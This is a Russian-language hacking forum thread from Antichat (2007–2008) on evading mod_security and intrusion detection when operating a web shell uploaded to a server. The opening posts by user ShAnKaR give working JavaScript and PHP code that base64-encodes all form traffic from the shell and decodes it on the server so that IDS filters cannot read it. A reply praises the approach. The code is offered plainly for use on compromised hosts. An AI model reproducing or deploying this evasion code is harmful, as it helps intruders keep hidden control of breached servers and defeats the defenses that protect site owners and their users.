ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Анонимность
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

обход mod_security или шифруем трафик
  #1  
Старый 18.02.2007, 19:42
Аватар для ShAnKaR
ShAnKaR
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме:
4646474

Репутация: 1424


Отправить сообщение для ShAnKaR с помощью ICQ
По умолчанию обход mod_security или шифруем трафик

наверняка у тебя дружище бывало не раз так что ты через пару минут как залил на сервачек свой скриптик и пытаясь скомпилить одей софт видишь сообщение браузера что хост не доступен или пермишен денайд например, что это за фигня? вот облом то!
хоть ты и пользовался только методом POST но весь траф все равно проверялся mod_scurity или какойнить IDS, так вот чтоб этого не было можно исправить свой веб шел так чтоб траф шифровался перед отправкой в браузере и расшифровывался скриптом при принятии, вот собственно я и наваял коечего
все работает так:
собираются все данные форм кодируются в base64 и отправляются скрипту , там раскодируются и в массив POST забиваются.

Последний раз редактировалось ShAnKaR; 06.05.2009 в 18:51..
 
Ответить с цитированием

  #2  
Старый 08.12.2008, 17:05
Аватар для ShAnKaR
ShAnKaR
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме:
4646474

Репутация: 1424


Отправить сообщение для ShAnKaR с помощью ICQ
По умолчанию

кароче шифрование оставил только на отправляемые данные
всего ~60 строчек кода:
JavaScript код ставим в шеле в теге <head>
base64_encode функция честно украдена, остальное мое.
PHP код:
<script>
var 
B64={
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
enc:function(input){var output="";var chr1,chr2,chr3,enc1,enc2,enc3,enc4;var i=0;
input=B64.uenc(input);while(i<input.length){chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);
enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2)){enc3=enc4=64;}else if(isNaN(chr3)){enc4=64;}
output=output+this._keyStr.charAt(enc1)+this._keyStr.charAt(enc2)+this._keyStr.charAt(enc3)+this._keyStr.charAt(enc4);}return output;},
uenc:function(string){string=string.replace("/\r\n/g","\n");var utftext="";for(var n=0;n<string.length;n++){
var 
c=string.charCodeAt(n);if(c<128){utftext+=String.fromCharCode(c);}
else if((
c>127)&&(c<2048)){utftext+= String.fromCharCode((c>>6)|192);utftext+= String.fromCharCode((c&63)|128);}
else{
utftext+=String.fromCharCode((c>>12)|224);utftext+=String.fromCharCode(((c>>6)&63)|128);utftext+=String.fromCharCode((c&63)|128);}}
return 
utftext;}
}
document.onclick=function(e){
e=e||event;
var 
F=e.target||e.srcElement;
if(
F.tagName=="INPUT"&&F.type=="submit"){
var 
D=document;
var 
I=0;
var 
C=new Array();
var 
S=F;
var 
T="";
do 
F=F.parentNode
while(
F!="[object HTMLFormElement]");
for(var 
a in F.elements){
A=F.elements[a];
switch(
A.type){
case 
"checkbox":
if(
A.checked)T+=A.name+"=on&";
break;
case 
"select-multiple":
for(var 
t in A.options){if(A.options[t].selected)T+=A.name+"="+escape(A.options[t].value)+"&";}
break;
case 
"radio":
if(
A.checked)T+=A.name+"="+escape(A.value)+"&";
break;
case 
"file":
C[I]=A.cloneNode(true);C[I].setAttribute("style","visibility:hidden");I++;
break;
case 
"submit":
if(
A===S)T+=A.name+"="+(escape(A.value)||1)+"&";
break;
default:
T+=A.name+"="+(escape(A.value)||"")+"&";
}}
T=T.replace(/\+/g,"%2B");
var 
N=D.createElement("form");
N.method="POST";
N.enctype="multipart/form-data";
var 
H=D.createElement("input");
H.name="encode";
H.value=B64.enc(T);
H.type="hidden";
N.appendChild(H);
for(var 
i in C)N.appendChild(C[i]);
D.body.appendChild(N);
N.submit();
D.body.removeChild(N);
return 
false;
}}
</
script
и в начале php кода скрипта, функция обработки:
PHP код:
if(count($_POST)>1||(empty($_POST['encode'])&&$_SERVER['REQUEST_METHOD']=='POST'))die("NO CRYPT, SORRY");
@
parse_str(base64_decode($_POST['encode']),$_POST); 
вроде все работает и шифруется как надо , ну естественно кроме загружаемого файла.

Последний раз редактировалось ShAnKaR; 20.05.2009 в 05:34..
 
Ответить с цитированием

  #3  
Старый 08.12.2008, 19:23
Аватар для madnet
madnet
Умиротворенн
Регистрация: 09.12.2004
Сообщений: 996
Провел на форуме:
2386719

Репутация: 1384


Отправить сообщение для madnet с помощью ICQ
По умолчанию

респект, я тоже самое делал на своем шеле, только более глубокое шифрование, когда смогу найти время, что бы довести до ума выложу свой вариант.
__________________

http://madnet.name - madnet - blog | homepage (Мысли, релизы, скрипты, софт)

http://antichat.ru - Лучший сайт по безопасности
irc.antichat.ru:7771 #antichat - общение online
ГАРАНТ ФОРУМА
 
Ответить с цитированием

  #4  
Старый 08.12.2008, 19:49
Аватар для ShAnKaR
ShAnKaR
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме:
4646474

Репутация: 1424


Отправить сообщение для ShAnKaR с помощью ICQ
По умолчанию

я тоже думал сначала про более глубокое но нагрузка на браузер соответственно возрастает, да и одним базе64 вроде все обходится, не встречал пока чтоб его ids на лету парсило.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Хакер и закон! SladerNon Болталка 17 12.11.2009 09:42
[Windos XP] Авторизация. Обход. Или сброс пароля. Хелпер АнтиАдмин 10 09.04.2009 05:02
Перевод официальной документации Nikto 2 Kuzya Авторские статьи 2 25.03.2009 01:10
Хакеры и кракеры или "Что такое хорошо и что такое плохо?" foreva Чужие Статьи 12 09.02.2008 12:26
На счет халявного инета foreva Чужие Статьи 0 06.02.2005 12:06



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ